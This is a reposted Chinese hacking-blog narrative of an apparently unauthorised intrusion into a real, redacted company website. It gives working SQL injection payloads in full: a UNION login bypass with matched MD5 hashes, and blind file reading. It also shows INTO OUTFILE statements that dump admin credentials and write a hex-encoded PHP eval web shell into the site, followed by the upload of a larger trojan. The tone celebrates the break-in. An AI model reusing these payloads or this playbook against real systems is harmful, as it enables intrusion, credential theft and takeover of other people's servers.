记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

由一个注入问题引发的入侵思考

2013-01-07 12:05

作者:lost

    我循着他提供的网站去看了一下,一个GPC没有开启的php网站,随便找了一个链接,在后面加个撇,报错了。然后分别在后面加1=1和1=2分别显示出正常和非正常的页面,由此断定,网站存在注入问题。
    按照冰海说的我试了一下,order by 1的时候页面正常,到2的时候页面就报错了,爆出了错误的sql语句。由此断定列数为1.接着用union查询www.***.com/customers/read.php?id=1006 union 1/*的时候却报错了,爆出了错误的sql语句。如图:
由一个注入问题引发的入侵思考 - green_pool - green_pool的博客
既然order by 1已经确定了列数为1,为什么union 1的时候却报错的?一头雾水的我以为是order by出问题了,然后又union 1,2这样往后加数字,加到几十了还是报错!问题何在?当时我也说不清,猜测可能是程序的sql语句多表关联了,可是我们已经用/*注释了后面的语句,应该没有影响。没有看到程序之前,什么猜测都是没用的。为了对这个问题进行一个合理的解释,一定要搞下这个站!
   又试了很多前台的注入,都是这个问题,而且工具根本无法使用,不是什么都猜不出来,就是没有检测到注入。很疑惑的时候,叫孤水绕城一起来搞。
前台我没有办法了的时候,那就尝试从后台下杀手。按照经验,一个网站如果前台都是注入的时候,后台登陆就难逃万能密码的厄运(你觉得程序员会只过滤后台登陆而无视前台么?)。
   很轻松找到后台地址http://www.***.com/admin/login.php,帐号输入万能密码'or 1=1/*,密码随便输,点确定的时候弹出密码错误的框框!如图:
由一个注入问题引发的入侵思考 - green_pool - green_pool的博客
然后尝试帐号和密码随便输,点确定弹出对不起,没有此用户的框框!如图:
由一个注入问题引发的入侵思考 - green_pool - green_pool的博客
由此判断,输入万能密码的时候说密码错了,也就是说帐号没错,说明已经骗过查询,可是为什么会说密码错误呢?思考了一下,它应该是先从数据库中查找是不是有这个用户名,如果有的话提取出记录,在用提出来的密码和你输入的密码做比较,匹配的话成功登陆,否则弹框告诉你密码错误!尝试帐号admin,密码随便写,弹出密码错误,说明存在admin管理员。
   根据经验,断定这是新型万能密码的范例。oudjun提出的新型万能密码,针对的就是这种情况。
   帐号输入' order by 5,密码随便填,弹出密码错误的框,说明order by 5成立,接着增加数字,最后断定列数为16,order by 17的时候报错爆出sql语句,显示管理员表为primeton_members,如图:
由一个注入问题引发的入侵思考 - green_pool - green_pool的博客
于是构造语句'union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from primeton_members FROM primeton_members Where ''=',密码填1,以为应该顺利进入,可是点确定还是弹出密码错误的框!到这我就郁闷了,理论上没问题,可是却不行,抱着不放弃的精神继续思考。
和孤水对oldjun万能密码原理进行思考,得出结论:现在大部分网站的管理密码都md5加密了,而大部分程序应该是这样写的:$rs=get_one("Select * FROM primeton_members Where username='$username'");if($rs['password']===md5($password)) ,这里$rs['password']经过我们的union之后变成了1,而我们在密码框输入1之后,会被md5加密,那两者就不可能匹配了,应该怎么解决这个问题?
   对,我决定应该对这个新型万能密码变异一下,因为大部分网站密码都是md5加密的。把句'union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from primeton_members FROM primeton_members Where ''='中所有的1都应该换成'a0b923820dcc509a',即1的md5形式,这样经过union之后,$rs['password']就成了'a0b923820dcc509a',我们在从密码框输入1.经过md5加密之后就成了a0b923820dcc509a,两者一样了,顺利进入后台。
   当时脑子里这么想,实际测试的时候还是说密码错误!我以为是原理错了,可是孤水提醒说他的密码可能是32位加密的,于是帐号提交:' UNION Select 'c4ca4238a0b923820dcc509a6f75849b','c4ca4238a0b923820dcc509a6f75849b','c4ca4238a0b923820dcc509a6f75849b','c4ca4238a0b923820dcc509

a6f75849b','c4ca4238a0b923820dcc509a6f75849b','c4ca4238a0b923820dcc509a6f75849b','a0b923820dcc509a','c4ca4238a0b923820dcc509a6f7584

9b','c4ca4238a0b923820dcc509a6f75849b','c4ca4238a0b923820dcc509a6f75849b','c4ca4238a0b923820dcc509a6f75849b','c4ca4238a0b923820dcc5

09a6f75849b','c4ca4238a0b923820dcc509a6f75849b','a0b923820dcc509a','c4ca4238a0b923820dcc509a6f75849b','c4ca4238a0b923820dcc509a6f75849b' FROM primeton_members Where ''='(共16个),密码填1.确定之后依然报错!
可是聪明的你一定发现了报错的是update语句,而不是select,说明我们已经成功骗过查询,现在把login.php改成admin.php,顺利登入后台!
由一个注入问题引发的入侵思考 - green_pool - green_pool的博客
由一个注入问题引发的入侵思考 - green_pool - green_pool的博客
不知道怎么个情况的请看《由一个注入问题引发的入侵思考(一)》。
    接着,进后台发现后台过于简陋,没有可以拿shell的方法,进后台这条路走到头了。
    看了一下孤水的进展,因为order by和union的问题没有解决,所以他and ord(mid(version(),1,1))>51这样的盲注语句来获取信息,发现mysql版本为4.x.x,爆出路径为D:/AppServ/www/ ,用户权限为root。
   我们知道root权限在知道网站路径的情况下是可以loadfile文件的,但是一般我们loadfile文件的时候都使用在union语句里。可是不能用union的时候该怎么办?幻影有一个文件读取工具,就可以实现不能union时读文件。它分为快读和慢读两种:快读不用说了,就是我们常用的union。慢读是个亮点,他用类似于mid(length(LOAD_FILE(文件路径的hex值)),4,1)>0这用盲注方式来判断每个字符是什么,页面返回的对错能判断出这个字符是什么。因为是一个字符一个字符的读的,所以比较慢。
   孤水兄和猪哥读到了网站的配置文件,密码为空,3306是可以外连的,可是还是连不上,估计是设置为localhost了,这条思路又断掉。
   平静一下,下午的时候我突然想到在GPC没有开启的时候,root用户是直接可以导出文件的,但是要用到union,怎么办,对,用登录框那里,那里是唯一可以union的地方!
   尝试之前我和孤水设想了一下导出成功的提示,我们想如果弹出密码错误或者没有报sql语句错误,应该是导出成功了,否则失败@
   我们构造的语句是:admin' union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from primeton_members into outfile'D:/AppServ/primeton/admin/log.php‘ /*,密码随便填,因为我们要执行的是用户名那里的语句。
点确定提示如下:
由一个注入问题引发的入侵思考 - green_pool - green_pool的博客

接着访问www.**/.com/admin/log.php,如图,爆出管理员帐号和密码。
由一个注入问题引发的入侵思考 - green_pool - green_pool的博客
现在导出一句话木马,修改语句为admin' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293F3E,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from primeton_members into outfile'D:/AppServ/primeton/admin/loge.php' /*,点确定,成功导出。
       可是到这又出问题了,导出的一句话用客户端根本连不上。难道没有导出成功?我们又试了两次,还是不能连接。
      郁闷一会,孤水提议用文件读取器看看导出的一句话什么样子了。
      读完才发现,一句话木马只写进去一半!怪不得不能连接!
     大牛就是大牛,孤水给出的合理解释是:匹配的的这个字段数据类型限制了文件大小@
     于是我们把一句话放在第三个字段的位置,密码的位置,空间很大。语句为:admin' union select 1,1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293F3E,1,1,1,1,1,1,1,1,1,1,1,1,1 from primeton_members into outfile'D:/AppServ/primeton/admin/loge.php' /*,这次成功导出,连上一句话,上传大马,入侵结束。
由一个注入问题引发的入侵思考 - green_pool - green_pool的博客
到此为之,我终于可以给开始的那个问题一个合理的解释了。
    读源码我发现,问题的所在是在他的同一个页面里面调用了两个sql语句,而两个sql语句同时调用一个参数id,两个语句的字段数是不一样的。一个为1,一个为14,那么我order by 1的时候两个语句都是正确的,所以页面显示正常,order by 2的时候第一个sql语句就不匹配了,就会报错。至于为什么union多少的时候都会报错,很明了了,两个语句,总有一个字段数不匹配。
     原sql语句如下:$count="Select COUNT(*) AS count FROM primeton_subject Where sid=$id AND ifshow=1 AND topped=0 orDER BY postdate DESC";
    $sql="Select * FROM primeton_subject Where sid=$id AND ifshow=1 AND topped=0 orDER BY $order DESC LIMIT $start,$perpage";
    到此为至,所有问题都已经明了,我的疑惑也解开了。个人认为碰到这种情况只能盲注了,一个字符一个字符的判断,但是现在大部分工具都是union,这是个问题。
    所以像我这样的菜鸟们,大家还是手工吧。


知识来源: blog.163.com/green_pool/blog/static/10191552620123135146662

阅读:113146 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“由一个注入问题引发的入侵思考”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云